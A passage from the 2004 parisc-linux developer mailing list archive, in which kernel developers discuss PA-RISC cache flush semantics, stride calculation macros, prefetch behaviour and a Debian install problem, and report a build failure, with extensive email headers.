List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21735

Randolph,

>It does work on all pa20 processors, afaik. Let me rephrase:
>
>"Be aware that, if atlas relies on being able to prefetch invalid
>addresses and have that not fault, then it will only work on some PA 
>processors but not all of them. All pa20 processors should work.
>pa11 processors will not."
>
>We ran into this while trying to get PA7300LC to do prefetching in the
>kernel.

My understanding from the docs is that pa11 doesn't define any prefetch
instructions, which means these formulations are loads to an invalid
register, which, since they are loads and not prefetches, could have
side effects (eg., seg fault).  Therefore, you need to use them only
on pa20, even if they compile on pa11.  I take it this is what you are saying?

Thanks,
Clint
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Mon, 14 Jun 2004 15:45:32 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <00d101c45261$4cc23d80$f463f40f@jh733133>
References: <20040614182903.GA15866@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623478 9974 80.91.229.3 (22 Nov 2014 02:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:18 +0000 (UTC)
Cc: 'James Bottomley' <James.Bottomley@steeleye.com>,
 'PARISC list' <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31199 invoked by uid 65534); 14 Jun 2004 22:46:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 15 Jun 2004 00:46:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 96ADB3BE18; Mon, 14 Jun 2004 16:46:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25457-04; Mon, 14 Jun 2004 16:46:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CFAB13BE05; Mon, 14 Jun 2004 16:45:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AFA03BE02
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 16:45:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24430-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 16:45:33 -0600 (MDT)
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by free.linux.hp.com (Postfix) with ESMTP id 4392B3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 16:45:33 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel11.hp.com (Postfix) with ESMTP
	id D0DE665744; Mon, 14 Jun 2004 15:45:32 -0700 (PDT)
Original-Received: from jh733133 (dhcp42uvi498.cup.hp.com [15.244.99.244])
	by lucy.cup.hp.com (8.9.3 (PHNE_28809+JAGae91741)/8.9.3 SMKit7.02) with
	ESMTP id PAA16405; Mon, 14 Jun 2004 15:45:32 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.5709
In-reply-to: <20040614182903.GA15866@colo.lackof.org>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21736

Grant:

> Ouch. Does that mean FDCE and FICE modify the L2 cache also?
> Do FDC/FIC also affect the L2?

The PA processor architecture requires that all of these flush =
instructions
flush every level of the processor cache hierarchy all the way out to =
memory.
In other words, yes.=20

> Someone was asserting it was not necessary to flush the L2=20
> since the L2 is
> a PIPT cache and would always be coherent. I don't really know but
> that makes sense to me.

You could imagine an architecture having several variants of the cache =
flushing
instructions that software could call depending on why it needed to =
flush; for
example, to achieve I-cache/D-cache coherence, to resolve virtual =
aliasing, to
communicate with non-coherent I/O devices, or to flush out to a =
battery-backed
RAM in case of powerfail.

I think pa-linux wants the second of these.  Unfortunately, PA only has =
a single
variant, and it was designed for the third and fourth cases.

> ...
> > > I noticed HPUX was calculating the stride differently than
> > > parisc-linux. I didn't realize until later the difference
> > > could be due to older/newer firmware versions and/or differences
> > > in the "architected loop" initialization.
> >=20
> > For FDC/FIC loops, the architecture was changed to handle=20
> machines with line
> > sizes larger than 64 bytes (like Mako, where it's 128). =20
> The correct equation,
> > which will work on both new and old machines, is:
> >=20
> >   stride =3D (1 << (block - 1)) * ((line * 16) << shift)
>=20
> The above results in stride=3D128 on C8000 as well (output=20
> appended below).
> I now have three variants to calculate stride:
>=20
> #define CAFL_STRIDE(cnf) ((1 << (cnf.cc_block + 3)) * cnf.cc_line)
> #define CAFL_STRIDE(cnf) (cnf.cc_block * (cnf.cc_line << (4 +=20
> cnf.cc_shift)))
> #define CAFL_STRIDE(cnf) ((1 << (cnf.cc_block-1)) *=20
> (cnf.cc_line << (4 + cnf.cc_shift)))
>=20
> 1) original parisc-linux

This one doesn't include the new "shift" field, so it's clearly =
out-of-date.

> 2) "borrowed" from HPUX (i80_latest, maybe HPUX wants to use
>    Jim Hull's suggestion as well?)

This one is almost correct.  If "block" is 1 or 2, it gets the right =
answer -
it's only wrong for "block" values of 3 or more.  I suspect that HPUX =
appears to
work only because no PDC has ever returned anything other than 1 for =
"block".

> 3) "New and Improved" :^)

And correct!  If you'd like a more optimized version, this is =
equivalent:

#define CAFL_STRIDE(cnf) (cnf.cc_line << (3 + cnf.cc_block + =
cnf.cc_shift))

> Jim, do you know if Space Id hashing is disabled the same way
> on PA8800 as for PA8500/8600/8700 CPUs?
>=20
> Or maybe it's easier to verify in the Make ERSthe following=20
> is correct:
> (See arch/parisc/kernel/pacache.S)
> srdis_pa20:
>=20
> 	/* Disable Space Register Hashing for PCXU,PCXU+,PCXW,PCXW+ */
>=20
> 	.word           0x144008bc  /* mfdiag %dr2,%r28 */
> 	depdi           0,54,1,%r28 /* clear DIAG_SPHASH_ENAB=20
> (bit 54) */
> 	.word           0x145c1840  /* mtdiag %r28,%dr2 */

Yes, the Mako ERS says that DIAG_SPHASH_ENAB is still bit 54 in diag =
register 2.

 -- Jim

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Mon, 14 Jun 2004 17:42:21 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20040614234221.GB22331@colo.lackof.org>
References: <20040614182903.GA15866@colo.lackof.org>
	<00d101c45261$4cc23d80$f463f40f@jh733133>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623478 9977 80.91.229.3 (22 Nov 2014 02:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:18 +0000 (UTC)
Cc: 'PARISC list' <parisc-linux@lists.parisc-linux.org>
To: Jim Hull <jim.hull@hp.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4427 invoked by uid 65534); 14 Jun 2004 23:43:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 15 Jun 2004 01:43:25 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 67DC23BE1F; Mon, 14 Jun 2004 17:42:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26219-01; Mon, 14 Jun 2004 17:42:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A71583BE07; Mon, 14 Jun 2004 17:42:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D23553BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 17:42:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24660-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 17:42:27 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A350D3BE02
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 17:42:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D3E33298034; Mon, 14 Jun 2004 17:42:25 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22903-09; Mon, 14 Jun 2004 17:42:24 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 17978298033; Mon, 14 Jun 2004 17:42:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <00d101c45261$4cc23d80$f463f40f@jh733133>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21737

On Mon, Jun 14, 2004 at 03:45:32PM -0700, Jim Hull wrote:
...
> You could imagine an architecture having several variants of the cache flushing
> instructions that software could call depending on why it needed to flush; for
> example, to achieve I-cache/D-cache coherence, to resolve virtual aliasing, to
> communicate with non-coherent I/O devices, or to flush out to a battery-backed
> RAM in case of powerfail.
> 
> I think pa-linux wants the second of these.

Yes - I left out that part in my paraphrasing of "someone" 's comments.

>   Unfortunately, PA only has a single
> variant, and it was designed for the third and fourth cases.

ok.

> > 2) "borrowed" from HPUX (i80_latest, maybe HPUX wants to use
> >    Jim Hull's suggestion as well?)
> 
> This one is almost correct.  If "block" is 1 or 2, it gets the right
> answer - it's only wrong for "block" values of 3 or more.
> I suspect that HPUX appears to work only because no PDC has ever
> returned anything other than 1 for "block".

Ok. And PDC probably won't if they don't have to even if it would
be more efficient because of "pre-enablement" of existing OS.
I have no idea if PDC ever will need to.

> > 3) "New and Improved" :^)
> 
> And correct!  If you'd like a more optimized version, this is equivalent:
> 
> #define CAFL_STRIDE(cnf) (cnf.cc_line << (3 + cnf.cc_block + cnf.cc_shift))

yes - that's nicer. I'll keep the original "simple math" version
to document the origin.

> Yes, the Mako ERS says that DIAG_SPHASH_ENAB is still bit 54 in
> diag register 2.

Ok - thank you.

I'm out of ideas for the moment what might be wrong.
Maybe I'll troll the HPUX source tree for any PA8800 
or ZX1 specific code changes...

*sigh*

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install problem Debian 3.0.23 L1000-36
Date: Tue, 15 Jun 2004 09:23:49 +0300
Lines: 59
Approved: news@gmane.org
Message-ID: <20040615072350.5267A3658B6@mail.esiee.fr>
References: <OFCD849C44.4ED10052-ONC2256EB4.002423AB-C2256EB4.0024472D@cssdom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623478 9981 80.91.229.3 (22 Nov 2014 02:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harri.Huttula@outokumpu.com
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24594 invoked by uid 65534); 15 Jun 2004 07:24:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 15 Jun 2004 09:24:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 29AA93BE15; Tue, 15 Jun 2004 01:24:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30451-02; Tue, 15 Jun 2004 01:24:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D80C33BE16; Tue, 15 Jun 2004 01:23:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14B5C3BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Jun 2004 01:23:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29738-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Jun 2004 01:23:54 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id D7E7A3BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Jun 2004 01:23:53 -0600 (MDT)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 7DEA63658C1;
	Tue, 15 Jun 2004 09:23:52 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 78927-65B95951;
	Tue, 15 Jun 2004 09:23:52 +0200
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 5267A3658B6;
	Tue, 15 Jun 2004 09:23:50 +0200 (CEST)
X-Originating-IP: [159.50.101.8]
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <OFCD849C44.4ED10052-ONC2256EB4.002423AB-C2256EB4.0024472D@cssdom.com>
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.25.0.62;
	VDF: 6.25.0.94; host: mail.esiee.fr)
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21738

L1000-36 works just fine

read the HOWTO here:
http://www.pateam.org/doc.html

and use a netinst ISO:
http://www.pateam.org/download.html

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://www.pateam.org/


-------------------
> Hi,=20
>=20
> First of all I am newbie for PA-RISC Linux. Now I am trying to
install=20
> Debian 3.0.23 to our old HP server(model L1000-36) with no success.
This=20
> is what I have accomplished so far:=20
>=20
> - set 700/96 console so that i can actual start installing :)
(couldn't=20
> get serial console working with RS-232 and win2k hyperterminal,
though)=20
> - CD boots OK=20
>=20
> Problems start when I try to "Install the Base System".=20
>=20
> Following warning occurs:=20
>=20
> Failure trying to run: chroot /target dpkg --force-depends --install

> /var/cache/apt/archives/base-files_3.0.2_hppa.dep=20
> /var/cache/apt/archives/base_passwd_3.4.1_hppa.dep=20
>=20
> Followed by error:=20
>=20
> debootstrap exited with error( return value 1 )=20
>=20
> I have trackdown The Net and found that it might be SCSI
driver/controller=20
> problem that you have to give some SCSI related parameters to PALO.
My=20
> system has Symbios Logic 53c875 and 53c896 Ultra Wide SCSI.=20
>=20
> Anyone knows the solution?=20
>=20
> - Harri=20
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 
	Heads up, 2.6.7-pa0 FTBS with 64-bit toolchain + loop
Date: Wed, 16 Jun 2004 15:44:11 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20040616194411.GB3412@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623478 9984 80.91.229.3 (22 Nov 2014 02:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:18 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11818 invoked by uid 65534); 16 Jun 2004 19:45:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 16 Jun 2004 21:45:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E9FB3BE4F; Wed, 16 Jun 2004 13:44:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19769-04; Wed, 16 Jun 2004 13:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E9973BE42; Wed, 16 Jun 2004 13:44:19 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DC143BE3B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Jun 2004 13:44:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18905-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Jun 2004 13:44:15 -0600 (MDT)
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id B950F3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Jun 2004 13:44:14 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BagKS-00025b-00; Wed, 16 Jun 2004 15:44:12 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21739


2.6.7-pa0 fails to build on newer 64-bit toolchain:

  CC      drivers/block/loop.o
{standard input}: Assembler messages:
{standard input}:3652: Error: Field not properly aligned [8] (-183).
{standard input}:3652: Error: Invalid operands 
make[2]: *** [drivers/block/loop.o] Error 1
make[1]: *** [drivers/block] Error 2
make: *** [drivers] Error 2

Just a heads up.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heads up,
	2.6.7-pa0 FTBS with 64-bit toolchain + loop
Date: Thu, 17 Jun 2004 20:22:47 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20040618002247.GB29005@engsoc.org>
References: <20040616194411.GB3412@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623479 9986 80.91.229.3 (22 Nov 2014 02:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18267 invoked by uid 65534); 18 Jun 2004 00:25:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 18 Jun 2004 02:25:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 261913BE6E; Thu, 17 Jun 2004 18:25:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02981-05; Thu, 17 Jun 2004 18:25:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E33983BE71; Thu, 17 Jun 2004 18:25:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
